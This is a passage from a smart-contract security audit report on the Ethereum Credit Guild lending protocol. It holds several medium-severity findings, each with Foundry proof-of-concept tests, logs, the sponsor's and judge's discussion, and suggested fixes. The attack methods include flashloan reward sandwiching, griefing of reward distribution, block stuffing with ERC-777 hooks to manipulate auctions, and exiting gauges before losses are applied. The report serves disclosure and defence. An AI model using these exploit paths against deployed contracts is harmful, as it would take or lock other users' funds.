sgmUSDC.getRewards(STAKER2, termUSDC);
sgmUSDC.getRewards(STAKER3, termUSDC);
console.log("Staker1 credit reward: ", gUSDC.balanceOf(address(STAKER1)));
console.log("Staker1 guild reward: ", guild.balanceOf(address(STAKER1)));
console.log("Staker2 credit reward: ", gUSDC.balanceOf(address(STAKER2)));
console.log("Staker2 guild reward: ", guild.balanceOf(address(STAKER2)));
console.log("Staker3 credit reward: ", gUSDC.balanceOf(address(STAKER3)));
console.log("Staker3 guild reward: ", guild.balanceOf(address(STAKER3)));
console.log("GaugeProfitIndex: ", profitManagerUSDC.gaugeProfitIndex(termUSDC));
}
// Function that will compute Alice's interest with which notifyPnL will be called so that the attack is as accurate as possible
function _computeAliceLoanInterest(uint borrowTime, uint borrowAmount) private view returns (uint interest) {
uint256 _INTEREST_RATE = 0.10e18; // 10% APR --- from LendingTerm tests
uint256 YEAR = 31557600;
interest = (borrowAmount * _INTEREST_RATE * (block.timestamp - borrowTime)) / YEAR / 1e18;
}
}
There are tests for both cases – one without the attack and another with the attack scenario.
Run them with:
forge test --match-contract "DeflateGuildHoldersRewardsUnitTest" --match-test "testGuildHoldersRewards" -vvv
Logs:
-------------------------------AFTER ATTACK-------------------------------
EXPLOITER Credit Balance before flashloan: 0
EXPLOITER Credit Balance after flashloan: 10000000000000000000000000
EXPLOITER Credit balance after stake: 0
EXPLOITER (instant) Credit reward: 205305960080000000
EXPLOITER (instant) Guild reward: 1026529800400000000
EXPLOITER credit balance after unstake: 10000000205305960080000000
Staker1 credit reward: 4106119201600
Staker1 guild reward: 20530596008000
Staker2 credit reward: 16424476806400
Staker2 guild reward: 82122384032000
Staker3 credit reward: 12318357604800
Staker3 guild reward: 61591788024000
GaugeProfitIndex: 1000000010265298004
Logs:
------------------------------BEFORE ATTACK------------------------------
Staker1 credit reward: 25667351129363200
Staker1 guild reward: 128336755646816000
Staker2 credit reward: 102669404517452800
Staker2 guild reward: 513347022587264000
Staker3 credit reward: 77002053388089600
Staker3 guild reward: 385010266940448000
GaugeProfitIndex: 1000064168377823408
Recommended Mitigation Steps
Providing recommendations is challenging due to the large codebase, and code changes might affect other parts of the system.
The things we came up with to protect against this are to not allow staking and unstaking in the same block, implementing staking/unstaking fee, or implement a “warm-up period” during which stakers are unable to accumulate interest.
We are open to collaborate with the development team to find a proper mitigation for the problem.
Assessed type
Context
eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:
Thanks for the quality of the report. Confirming this but disagree with the severity, given the size of the impact: the split of interests going to GUILD holders is expected to be small (it is set to 1% in the deployment file). So for a loan that pays 4% APR, GUILD token holders will receive 0.04% of the principal in interests after 1 year. For a single loan, this amount is small and probably not worth the gas/time cost of coding/running a frontrunner, taking flashloans, etc.
TrungOre (judge) decreased severity to Medium
How an exploiter can take a
$10
million USDC flashloan and then wait for 150 days? Aren’t flashloans meant to be repaid in the same transaction? Also, in repaying Alice’s position, the repay() function usesmsg.sender
.
I strongly advise you to read the report again, the Еxploiter never owns the flash loan for 150 days.
Also, in repaying Alice’s position, the repay() function uses msg.sender.
About that, yes there was a mistake in the steps, Alice will repay it, lowering all other rewards.
This is a simpler sandwich attack.
@Slavcheww - I did review your PoC carefully, in your PoC you said that the attacker will take 10m flashloan here:
gUSDC.mint(EXPLOITER, 10_000_000e18);
Following that, you used
warp
to warp 150 days before repaying the flashloan here:vm.warp(block.timestamp + 150 days); uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);
Could you please explain how can the exploiter do that in a real world scenario?
@btk - I did review the PoC again, and yes, you are right. I made a mistake in where the blocks should pass, but even if they pass before the Exploiter takes the flashloan, the result is the same. Staking is based on staked amount, not time.
Here’s the fixed test, the Alice part can also be ignored because it’s not used anywhere, I just forgot to remove it while writing the finding. Alice is not needed at all in the execution of the problem, Exploiter borrow, then wait, get the flashloan, stake, trigger
notifyPnL
, unstake, return the loan.https://gist.github.com/Slavchew/acff9a9c094d475b5d4806901eb61b64
Also, in repaying Alice’s position, the repay() function uses
msg.sender
.Regarding above, the repay function uses
msg.sender
, but this is the repayer. As I mentioned, if you create the attack with 2 accounts like in the PoC steps, you need to transfer your credit tokens to the Exploiter to pay off your loan and triggernotifyPnL()
.
[M-12] Anyone can prolong the time for the rewards to get distributed
Submitted by evmboi32, also found by EV_om, mahdikarimi, Soul22, Infect3d, ast3ros, SECURITISE, grearlake, peter, 0xnev, PENGUN, Jorgect, btk, 3docSec, ether_sky, 0xpiken, and whitehat-boys
Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.
Proof of Concept
A malicious attacker only needs a few wei of tokens to execute the attack.
Let’s imagine that the distribute(40e18)
call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.
During a distribute
call the endTimestamp
is calculated as follows:
uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
This means that the 40 tokens
should be distributed over the next 30 days
. But each time the distribute
call is invoked, the endTimestamp
is prolonged. An attacker could call distribute(1)
to distribute 1 wei
of a credit token once per day to prolong the distribution for around 3x
-ish.
Coded POC
Add this test to the ERC20RebaseDistributor.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv
:
function testProlongDistribution() public {
token.mint(alice, 10e18);
token.mint(bobby, 20e18);
vm.prank(alice);
token.enterRebase();
vm.prank(bobby);
token.enterRebase();
token.mint(address(this), 41e18);
// Distribute 40 tokens
uint256 amountToDistribute = 40e18;
token.distribute(amountToDistribute);
// Attackers calls distribute(1) each day to only distribute 1 wei of a token
for(uint256 i = 0; i < 30; i++) {
vm.warp(block.timestamp + 1 days);
token.distribute(1);
}
uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply();
console.log("Distributed supply after 30 days:");
console.log("----------------------------------------------------");
console.log("Distributed supply : ", distributedSupply);
console.log("Expected distributes supply: ", amountToDistribute);
for(uint256 i = 0; i < 60; i++) {
vm.warp(block.timestamp + 1 days);
token.distribute(1);
}
console.log();
distributedSupply = amountToDistribute - token.pendingDistributedSupply();
console.log("Distributed supply after 90 days:");
console.log("----------------------------------------------------");
console.log("Distributed supply : ", distributedSupply);
console.log("Expected distributes supply: ", amountToDistribute);
}
[PASS] testProlongDistribution() (gas: 1233397)
Logs:
Distributed supply after 30 days:
----------------------------------------------------
Distributed supply : 25533539461535580376
Expected distributed supply: 40000000000000000000
Distributed supply after 90 days:
----------------------------------------------------
Distributed supply : 38107800700086607344
Expected distributed supply: 40000000000000000000
Recommended Mitigation Steps
Either add a minimum amount required (chosen by governance) to invoke a distribute call, if the call is not done by the ProfitManager
, or change how rewards are interpolated.
Assessed type
Math
eswak (Ethereum Credit Guild) acknowledged and commented via duplicate issue #1100:
About the rebase distributions: The rewards that can be delayed past the interpolation period (30 days) is
(1-1/N)**N ~= 36.78%
. This is assuming rewards completely stop to flow, so I am not very worried about this observation and would qualify that as informational/medium, at most.There probably won’t be any code change related to this, because “the proper way to do it” would be to keep in storage as many linear interpolations as there has been distributions over the last 30 days, and that would open a grief issue where all credit token movements could be made very expensive. I think the simpler implementation that we have now is better because it works well in steady state and smoothen rewards over time.
[M-13] LendingTerm debtCeiling
function uses creditMinterBuffer
incorrectly
Submitted by niroh, also found by EV_om, carrotsmuggler, EllipticPoint, rvierdiiev, and kaden
Lines of code
Description
The debtCeiling
function uses the minimum of hardCap
and credit minter remaining buffer (creditMinterBuffer
) as a hard limit on the term’s debtCeiling
in two places:
Line 298:
if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
// first-ever CREDIT mint on a non-zero gauge weight term
// does not check the relative debt ceilings
// returns min(hardCap, creditMinterBuffer)
return
_hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
}
Line 324:
if (creditMinterBuffer < _debtCeiling) {
return creditMinterBuffer;
}
However, unlike hardCap
, the creditMinterBuffer
-induced limit should be issuance + creditMinterBuffer
instead. This is because the buffer is a limit on additional borrows, not on the total of current issuance and additional borrows. This error triggers a revert in GuildToken::_decrementGaugeWeight whenever a gauge’s current issuance exceeds the remaining buffer. This occurs even if the post-decrement true debtCeiling
is above the issuance.
Consequently, guild voters and surplusGuildMinder
stakers are unjustifiably prevented from removing their votes/stakes from a gauge. This situation is likely to occur naturally when borrowing demand is high, or as a DOS attack where a malicious actor borrows the sum needed to keep a term’s issuance above the remaining buffer, blocking voters and surplus stakers from exiing their positions.
Impact
Preventing guild voters/surplus stakers from removing votes/stakes from gauges they see as unsafe breaks the main system mechanism, through which term quality is maintained and risk is reduced. In addition, voters/surplus stakers who are unable to exit their positions from term they consider too risky may later have those votes slashed when the term incurs a loss, causing them considerable financial damage.
Proof of Concept
This POC shows how a single term with a single voter can not remove 2% of the votes because the term’s issuance is above the current buffer.
Note: there is another issue with debtCeiling()
(see my other submission on the matter) that would prevent removing more than 16.666% of the votes of a single-term market; however, removing 2% should have succeeded in spite of the other issue.
To run:
Add the code below to the test file integrationTestBadDebtFlows.sol
. Forge test --match-test 'testRemoveVotesSingleTerm' --fork-url $ETH_RPC_URL -vvv
:
function testDebtCeilingBufferError() public {
//causes this contract to vote on term
testAllocateGaugeToSDAI();
//borrow 51% of the credit buffer to simulate issuance being above
//remaining buffer
uint256 borrowAmount = rateLimitedCreditMinter.buffer() * 51 / 100;
uint128 supplyAmount = uint128(borrowAmount);
bytes32 loanId = _supplyCollateralUserOne(borrowAmount, supplyAmount);
//try to remove 2% of the vote
uint256 decrementAmount = guild.balanceOf(address(this)) * 2 / 100;
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), decrementAmount);
//Reverts due to finding error. Decrementing 2% should succeed in the case
//of a single term but fails because current issuance is above the remaining buffer.
}
Tools Used
Foundry
Recommended Mitigation Steps
In debtCeiling()
use issuance + creditMinterBuffer
instead of creditMinterBuffer
.
I believe this issue should be treated as a separate medium issue, with the root cause being that: the use of
creditMinterBuffer
causesdebtCeiling
to be lower than it should. Medium severity is fit for its impact. Additionally, the sponsor confirmed thatcreditMinterBuffer
should be removed from the debt ceiling calculation instead of applying the recommended mitigation.
eswak (Ethereum Credit Guild) confirmed
[M-14] LendingTerm.sol _partialRepay()
A user cannot partial repay a loan with 0
interest
Submitted by Silvermist, also found by rbserver, ElCid, Topmark, and carrotsmuggler
A user is allowed to partial repay a loan via the _partialRepay()
function. It has a debtToRepay
parameter which determines how much of the loan debt will be repaid. The debtToRepay
amount should repay part of the borrowed amount and also a part of the fees and interest.
interestRepaid
is calculated when from debtToRepay
is subtracted the principalRepaid
. It is made like that because we assume when we subtract the principalRepaid
from the debtToRepay
, the remaining amount from the debtToRepay
is the interest.
uint256 interestRepaid = debtToRepay - principalRepaid;
So far so good, but there is one require or more specifically the interestRepaid != 0
part of the require that causes a problem:
require(principalRepaid != 0 && interestRepaid != 0, "LendingTerm: repay too small");
That check is used to ensure that the amount the user is repaying is not too small; however, the interestRepaid
would be 0
when there is 0
amount interest. A loan can be configured with 0
interest so it is a possible case. We can see it is not a problem to repay it through _repay()
but it is impossible to partial repay it.
Proof of Concept
Paste the following test inside test/unit/loan/LendingTerm.t.sol
:
function testPartialRepayWithZeroInterestFail() public {
LendingTerm term2 = LendingTerm(
Clones.clone(address(new LendingTerm()))
);
term2.initialize(
address(core),
term.getReferences(),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: 0,
maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
openingFee: 0,
hardCap: _HARDCAP
})
);
vm.label(address(term2), "term2");
guild.addGauge(1, address(term2));
guild.decrementGauge(address(term), _HARDCAP);
guild.incrementGauge(address(term2), _HARDCAP);
vm.startPrank(governor);
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
vm.stopPrank();
// prepare & borrow
uint256 borrowAmount = 20_000e18;
uint256 collateralAmount = 12e18;
collateral.mint(address(this), collateralAmount);
collateral.approve(address(term2), collateralAmount);
bytes32 loanId = term2.borrow(borrowAmount, collateralAmount);
assertEq(term2.getLoan(loanId).collateralAmount, collateralAmount);
vm.warp(block.timestamp + 10);
vm.roll(block.number + 1);
// check that the loan amount is the same as the initial borrow amount to ensure there are no accumulated interest
assertEq(term2.getLoanDebt(loanId), 20_000e18);
credit.mint(address(this), 10_000e18);
credit.approve(address(term2), 10_000e18);
vm.expectRevert("LendingTerm: repay too small");
term2.partialRepay(loanId, 10_000e18);
}
Recommended Mitigation Steps
A possible solution would be to remove the interestRepaid != 0
from the require in _partialRepay()
:
- require(principalRepaid != 0 && interestRepaid != 0, LendingTerm: repay too small");
+ require(principalRepaid != 0, LendingTerm: repay too small");
And a check to confirm the interest is not 0
before transferring it:
- CreditToken(refs.creditToken).transfer(
- refs.profitManager,
- interestRepaid
- );
-
- ProfitManager(refs.profitManager).notifyPnL(
- address(this),
- int256(interestRepaid)
- );
+ if (interest != 0) {
+ CreditToken(refs.creditToken).transfer(
+ refs.profitManager,
+ interestRepaid
+ );
+
+ ProfitManager(refs.profitManager).notifyPnL(
+ address(this),
+ int256(interestRepaid)
+ );
+ }
eswak (Ethereum Credit Guild) confirmed via duplicate issue #782
I chose this to be the primary issue since it has a very high quality; including clear and insightful context, PoC, and recommendations.
[M-15] LendingTerm::debtCeiling()
can return wrong debt as the min()
is evaluated incorrectly
Submitted by neocrao, also found by thank_you, TheSchnilch, nonseodion, Varun_05, Aymen0909, Chinmay, mojito_auditor, 0xStalin, twcctop (1, 2), rbserver, The-Seraphs, santipu_, kaden, ether_sky, Byteblockers, Timenov, and mussucal
The LendingTerm::debtCeiling()
function calculates the min of creditMinterBuffer, _debtCeiling and _hardCap
as shown below:
// return min(creditMinterBuffer, hardCap, debtCeiling)
if (creditMinterBuffer < _debtCeiling) {
return creditMinterBuffer;
}
if (_hardCap < _debtCeiling) {
return _hardCap;
}
return _debtCeiling;
However, the above minimum logic is flawed, as it does not always return the minimum of the 3 values.
Impact
As the min()
calculation is not correct, the LendingTerm::debtCeiling()
might return the incorrect value, and so might return a higher debt ceiling rather than the actual debt ceiling as the function should be returning.
LendingTerm::debtCeiling()
is used in GuildToken::_decrementGaugeWeight()
, which will will make this function incorrect as well.
Proof of concept
If creditMinterBuffer
was 3, _debtCeiling
was 5
, and _hardCap
was 1, then the min of the 3 values should be _hardCap
which is 1.
But instead, this condition becomes true creditMinterBuffer < _debtCeiling
, which then returns creditMinterBuffer
, which is incorrect.
Recommended Mitigation Steps
Update the min()
logic to be correct:
- if (creditMinterBuffer < _debtCeiling) {
- return creditMinterBuffer;
- }
- if (_hardCap < _debtCeiling) {
- return _hardCap;
- }
- return _debtCeiling;
+ if (creditMinterBuffer < _debtCeiling && creditMinterBuffer < _hardCap) {
+ return creditMinterBuffer;
+ } else if (_debtCeiling < _hardCap) {
+ return _debtCeiling;
+ } else {
+ return _hardCap;
+ }
eswak (Ethereum Credit Guild) confirmed
[M-16] Auction manipulation by block stuffing and reverting on ERC-777 hooks
Submitted by Cosine, also found by HighDuty, Byteblockers, and OMEN
Lines of code
Summary
The protocol stated out in the C4 description that the deployment script of the protocol, located in test/proposals/gips/GIP_0.sol
is also in scope, as protocol deployment/configuration mistakes could be made. A low immutable auction duration set in this deployment script can lead to profitable block stuffing attacks on the desired L2 chains. This attack vector can be further improved under the condition that the collateral token is ERC-777 compatible.
Vulnerability Details
The auction house contract is deployed with the following parameters (auctionDuration and midPoint are immutables):
AuctionHouse auctionHouse = new AuctionHouse(
AddressLib.get("CORE"),
650, // midPoint = 10m50s
1800 // auctionDuration = 30m
);
During the first half of the auction (before midPoint
), an increasing amount of the collateral is offered, for the full CREDIT amount.
During the second half of the action (after midPoint
), all collateral is offered, for a decreasing CREDIT amount.
The calculation can be seen in the getBidDetail
function:
uint256 public immutable midPoint;
uint256 public immutable auctionDuration;
function getBidDetail(bytes32 loanId) public view returns (uint256 collateralReceived, uint256 creditAsked) {
// check the auction for this loan exists
uint256 _startTime = auctions[loanId].startTime;
require(_startTime != 0, 'AuctionHouse: invalid auction');
// check the auction for this loan isn't ended
require(auctions[loanId].endTime == 0, 'AuctionHouse: auction ended');
// assertion should never fail because when an auction is created,
// block.timestamp is recorded as the auction start time, and we check in previous
// lines that start time != 0, so the auction has started.
assert(block.timestamp >= _startTime);
// first phase of the auction, where more and more collateral is offered
if (block.timestamp < _startTime + midPoint) {
// ask for the full debt
creditAsked = auctions[loanId].callDebt;
// compute amount of collateral received
uint256 elapsed = block.timestamp - _startTime; // [0, midPoint[
uint256 _collateralAmount = auctions[loanId].collateralAmount; // SLOAD
collateralReceived = (_collateralAmount * elapsed) / midPoint;
}
// second phase of the auction, where less and less CREDIT is asked
else if (block.timestamp < _startTime + auctionDuration) {
// receive the full collateral
collateralReceived = auctions[loanId].collateralAmount;
// compute amount of CREDIT to ask
uint256 PHASE_2_DURATION = auctionDuration - midPoint;
uint256 elapsed = block.timestamp - _startTime - midPoint; // [0, PHASE_2_DURATION[
uint256 _callDebt = auctions[loanId].callDebt; // SLOAD
creditAsked = _callDebt - (_callDebt * elapsed) / PHASE_2_DURATION;
}
// second phase fully elapsed, anyone can receive the full collateral and give 0 CREDIT
// in practice, somebody should have taken the arb before we reach this condition.
else {
// receive the full collateral
collateralReceived = auctions[loanId].collateralAmount;
//creditAsked = 0; // implicit
}
}
This means that as long as the auction goes until a bid is made (which instantly buys the auction), the more profit can be made by executing the auction.
The following conditions allow an attacker to manipulate auctions by stuffing blocks to increase profits:
auctionDuration
is set to 1800 seconds (30min) in the deployment script.- auction
midPoint
is set to 650 seconds (10m50s) in the deployment script. - the protocol will be deployed on L2s let’s take optimism for example (as this chain was mentioned by the devs in discord):
Blocks in optimism are minted every 2s. The block gas limit of optimism is 30M as in ethereum mainnet. At the time of writing this, the cost of stuffing a full block on optimism is around $6.39
. See here.
Therefore, preventing a bid for one minute costs $6.39 * 30 blocks = $191.7
, and preventing a bid for 30 minutes costs $191.7 * 30 minutes = $5751
.
But the attacker will almost never need to stuff blocks for around 30 minutes, as the system of the auction is not profitable in the beginning and it starts to be really profitable after the midpoint. It also starts to be much more damaging to the system at this point. Which is after 10m 50s and the costs to stuff blocks for 10m 50s is $191.7 * 10.5 minutes = $2012.85
. As mentioned before, the auction is not profitable at the beginning; therefore, no one will bid on second one and the attacker does not need to stuff blocks instantly. This means the attack will most likely cost less than $2000
.
Therefore, if at any given timestamp the profit of the auction outweighs the cost of stuffing blocks for the time till the deal becomes profitable for the attacker a system damaging incentive appears and manipulating auctions becomes a profitable attack vector.
But the impact increases further in terms of griefing as loss for terms can occur after the midPoint
which will instantly lead to slashing and therefore, all stakers of the given term will lose all their credit tokens weighted on this term.
The following code snippets showcase the slashing mechanism that lead to a total loss for the stakers if the term receives any loss during these block stuffing attack:
function bid(bytes32 loanId) external {
...
LendingTerm(_lendingTerm).onBid(
loanId,
msg.sender,
auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower
collateralReceived, // collateralToBidder
creditAsked // creditFromBidder
);
...
}
function onBid(
bytes32 loanId,
address bidder,
uint256 collateralToBorrower,
uint256 collateralToBidder,
uint256 creditFromBidder
) external {
...
int256 pnl;
uint256 interest;
if (creditFromBidder >= principal) {
interest = creditFromBidder - principal;
pnl = int256(interest);
} else {
pnl = int256(creditFromBidder) - int256(principal);
principal = creditFromBidder;
require(
collateralToBorrower == 0,
"LendingTerm: invalid collateral movement"
);
}
...
// handle profit & losses
if (pnl != 0) {
// forward profit, if any
if (interest != 0) {
CreditToken(refs.creditToken).transfer(
refs.profitManager,
interest
);
}
ProfitManager(refs.profitManager).notifyPnL(address(this), pnl);
}
...
}
function notifyPnL(
address gauge,
int256 amount
) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
...
// handling loss
if (amount < 0) {
uint256 loss = uint256(-amount);
// save gauge loss
GuildToken(guild).notifyGaugeLoss(gauge);
// deplete the term surplus buffer, if any, and
// donate its content to the general surplus buffer
if (_termSurplusBuffer != 0) {
termSurplusBuffer[gauge] = 0;
emit TermSurplusBufferUpdate(block.timestamp, gauge, 0);
_surplusBuffer += _termSurplusBuffer;
}
if (loss < _surplusBuffer) {
// deplete the surplus buffer
surplusBuffer = _surplusBuffer - loss;
emit SurplusBufferUpdate(
block.timestamp,
_surplusBuffer - loss
);
CreditToken(_credit).burn(loss);
}
} ...
}
function notifyGaugeLoss(address gauge) external {
require(msg.sender == profitManager, "UNAUTHORIZED");
// save gauge loss
lastGaugeLoss[gauge] = block.timestamp;
emit GaugeLoss(gauge, block.timestamp);
}
/// @notice apply a loss that occurred in a given gauge
/// anyone can apply the loss on behalf of anyone else
function applyGaugeLoss(address gauge, address who) external {
// check preconditions
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
require(
_lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
"GuildToken: no loss to apply"
);
// read user weight allocated to the lossy gauge
uint256 _userGaugeWeight = getUserGaugeWeight[who][gauge];
// remove gauge weight allocation
lastGaugeLossApplied[gauge][who] = block.timestamp;
_decrementGaugeWeight(who, gauge, _userGaugeWeight);
if (!_deprecatedGauges.contains(gauge)) {
totalTypeWeight[gaugeType[gauge]] -= _userGaugeWeight;
totalWeight -= _userGaugeWeight;
}
// apply loss
_burn(who, uint256(_userGaugeWeight));
emit GaugeLossApply(
gauge,
who,
uint256(_userGaugeWeight),
block.timestamp
);
}
This attack vector can be further improved under the condition that the collateral token is ERC-777 compatible. It is advised to first read the report called Bad debt can occur if the collateral token blacklists a borrower leading to total loss of stake for all lenders on that term
which showcases how the auction time is increased until the midPoint
of the auction if transferring the collateral tokens to the borrower reverts.
The attack path would be as follows:
- Attacker borrows a loan (with a ERC-777 compatible collateral token) using a contract that revert on receiving the collateral back if the
tx.origin != address
(attacker). - The attacker receives the credit token from the loan and deposits collateral into the protocol.
- The attacker does not repay the loan after the first partial duration and call it for auction.
- As showcased, every call until the
midPoint
will revert when trying to transfer the collateral back to the attacker. This will drastically decrease the costs for the attacker as he does not need to stuff blocks until themidPoint
is reached. - After the
midPoint
is reached, the attacker can start stuffing blocks till bad debt occurs. At this time, the attacker can bid on the auction and will therefore, buy the full collateral back for less credit tokens than the attacker received for the loan. - If it is possible for the attacker to stuff blocks and wait until the asked credit amount goes to
0
, the attacker was able to steal almost the full loan amount; which can potentially be way bigger than the gas amount for stuffing the blocks.
Impact
The attacker can prevent other users from bidding on the auction and therefore, manipulate the auction to a point where the attacker would be able to buy the full collateral for almost zero credit tokens. As loss for the term occurs in such an event, all stakers of the given term will lose all their credit tokens weighted on this term. If the given collateral token is ERC-777 compatible, the costs of such an attack can be drastically reduced and the attack can potentially become a self liquidation attack.
Recommendation
Increase the auction duration, as the longer the auction goes the less profitable such an attack would be and implement the mentioned fix in the Bad debt can occur if the collateral token blacklists a borrower leading to total loss of stake for all lenders on that term
report.
Assessed type
MEV
eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:
I’m skeptical of this being a valid finding (despite fomo3d), at least it’s not a high. It is true that there is more spam/censorship risk on Optimism & Arbitrum. On mainnet, liquidators can use flashbots etc, while on Arbitrum, the sequencer is first come first served. If the liquidator raises the gas price of one tx, the spammer has to raise the gas price of all tx that fill the block. Costs can get out of hand pretty quickly. Take-away I think is that on L2s, the auctions should be long enough to account for this. We’ve also been discussing very long auctions internally to minimize liquidity risk (and allow people to have time to bridge assets in order to participate in auctions), which also mitigates this vector.
TrungOre (judge) decreased severity to Low
TrungOre (judge) increased severity to Medium and commented:
After reviewing again, I consider this to be an issue of block stuffing attack on the auction—a hypothetical attack path that could be profitable for attacker and result in losses for protocol. So I believe this should be a medium.
@TrungOre, could you please take another look?
The PoC seems impractical, assuming a constant gas price, which doesn’t reflect reality. As the sponsor noted, “Costs can get out of hand pretty quickly,” and auction profits wouldn’t cover such expenses.
Edit: The report didn’t consider EIP1559. Reference here:
With EIP-1559, the base fee will increase and decrease by up to 12.5% after blocks are more than 50% full. For example, if a block is 100% full the base fee increases by 12.5%; if it is 50% full the base fee will be the same; if it is 0% full the base fee would decrease by 12.5%.
@btk - The maximum increase of the base fee on optimism (which was the blockchain taken as an example in this report) is 10% (See here). You are right that the costs of the attack are increased, but could still be profitable depending on the size of the loan. The attacker does also not need to stuff blocks for the full 30 minutes. Even one or a few blocks could be profitable depending on the size of the loan and the costs of stuffing a few blocks when the first one costs
$6
and increases by 10% is pretty low.
Although it is very unlikely to make profits, I still consider it as a possible hypothetical path with low likelihood. With the current configuration (30 minutes for auction duration), it doesn’t guarantee that block stuffing might not be possible, so this issue should be medium.
Note: For full discussion, see here.
[M-17] The gauge status wasn’t checked before reducing the user’s gauge weight.
Submitted by 0xpiken, also found by Byteblockers
Guild holders might have the opportunity to protect themselves from being slashed by reducing their weight on an offboarded gauge; thereby, transferring the loss to other passive holders and all credit token holders.
Proof of Concept
The mechanism utilized by the ECG protocol to address loan losses is as follows:
- In the event of any loss to the lending term triggered by
ProfitManager#notifyPnL()
, all staked guild tokens on this term will be entirely slashed throughGuildToken#notifyGaugeLoss()
, regardless of the magnitude of the loss, as soon as it occurs. termSurplusBuffer[gauge]
will be depleted and donate tosurplusBuffer
.loss
will decreased fromsurplusBuffer
first.- Should the
surplusBuffer
be lower than theloss
, the remaining loss will be deducted from each credit token by reducing thecreditMultiplier
.
A term
can be offboarded if it is unsafe. Once offboarded, the redemption function of corresponding SimplePSM
will be paused:
161: // pause psm redemptions
162: if (
163: nOffboardingsInProgress++ == 0 &&
164: !SimplePSM(psm).redemptionsPaused()
165: ) {
167: SimplePSM(psm).setRedemptionsPaused(true);
168: }
No credit token holders can redeem credit tokens for peg tokens at the moment. The redemption function could be unpaused by calling LendingTermOffboarding#cleanup()
once all loans on term
are closed:
190: // unpause psm redemptions
191: if (
192: --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
193: ) {
194: SimplePSM(psm).setRedemptionsPaused(false);
195: }
From above we can see, the loss may or may not happen to the offboarded term
, but once it happen, the loss will be marked down to all credit token holders. No one can exit in advance and pass potential loss to others.
However, guild holders could have chance to reduce their weight on the offboarded term, transferring the potential loss to other passive holders and all credit token holders.
Copy below codes to LendingTermOffboarding.t.sol
and run forge test --match-test testOffboardTermAndDecrementGauge
:
function testOffboardTermAndDecrementGauge() public {
//@audit-info term2 is deployed
LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
term2.initialize(
address(core),
LendingTerm.LendingTermReferences({
profitManager: address(profitManager),
guildToken: address(guild),
auctionHouse: address(auctionHouse),
creditMinter: address(rlcm),
creditToken: address(credit)
}),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: _INTEREST_RATE,
maxDelayBetweenPartialRepay: 0,
minPartialRepayPercent: 0,
openingFee: 0,
hardCap: _HARDCAP
})
);
vm.startPrank(governor);
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
vm.stopPrank();
//@audit-info active term2, which has the same gauge type with term1
guild.addGauge(1, address(term2));
//@audit-info mint 2e18 guild token to carol
guild.mint(carol, 2e18);
vm.startPrank(carol);
guild.incrementGauge(address(term), 1e18);
guild.incrementGauge(address(term2), 1e18);
vm.stopPrank();
// prepare (1)
guild.mint(bob, _QUORUM);
vm.startPrank(bob);
guild.delegate(bob);
uint256 snapshotBlock = block.number;
//@audit-info bob propose to offboard term
offboarder.proposeOffboard(address(term));
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
//@audit-info term is able to be offboarded with enough votes.
offboarder.supportOffboard(snapshotBlock, address(term));
assertEq(offboarder.polls(snapshotBlock, address(term)), _QUORUM + 1);
assertEq(offboarder.canOffboard(address(term)), true);
assertEq(guild.isGauge(address(term)), true);
assertEq(psm.redemptionsPaused(), false);
assertEq(offboarder.nOffboardingsInProgress(), 0);
offboarder.offboard(address(term));
//@audit-info term is offboarded
assertEq(guild.isGauge(address(term)), false);
//@audit-info the redemption function is paused, no one can redeem their credit token
assertEq(psm.redemptionsPaused(), true);
assertEq(offboarder.nOffboardingsInProgress(), 1);
vm.stopPrank();
assertEq(guild.getUserGaugeWeight(carol, address(term)), 1e18);
vm.prank(carol);
//@audit-info however, carol can decrement their gauge weight on term
guild.decrementGauge(address(term), 1e18);
assertEq(guild.getUserGaugeWeight(carol, address(term)), 0);
}
Recommended Mitigation Steps
Check if all loans have been closed in GuildToken#_decrementGaugeWeight()
:
function _decrementGaugeWeight(
address user,
address gauge,
uint256 weight
) internal override {
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
require(
_lastGaugeLossApplied >= _lastGaugeLoss,
"GuildToken: pending loss"
);
+ uint256 issuance = LendingTerm(gauge).issuance();
+ if (isDeprecatedGauge(gauge)) {
+ require(issuance == 0, "GuildToken: not all loans closed");
+ }
// update the user profit index and claim rewards
ProfitManager(profitManager).claimGaugeRewards(user, gauge);
// check if gauge is currently using its allocated debt ceiling.
// To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
- uint256 issuance = LendingTerm(gauge).issuance();
if (issuance != 0) {
uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(
issuance <= debtCeilingAfterDecrement,
"GuildToken: debt ceiling used"
);
}
super._decrementGaugeWeight(user, gauge, weight);
}
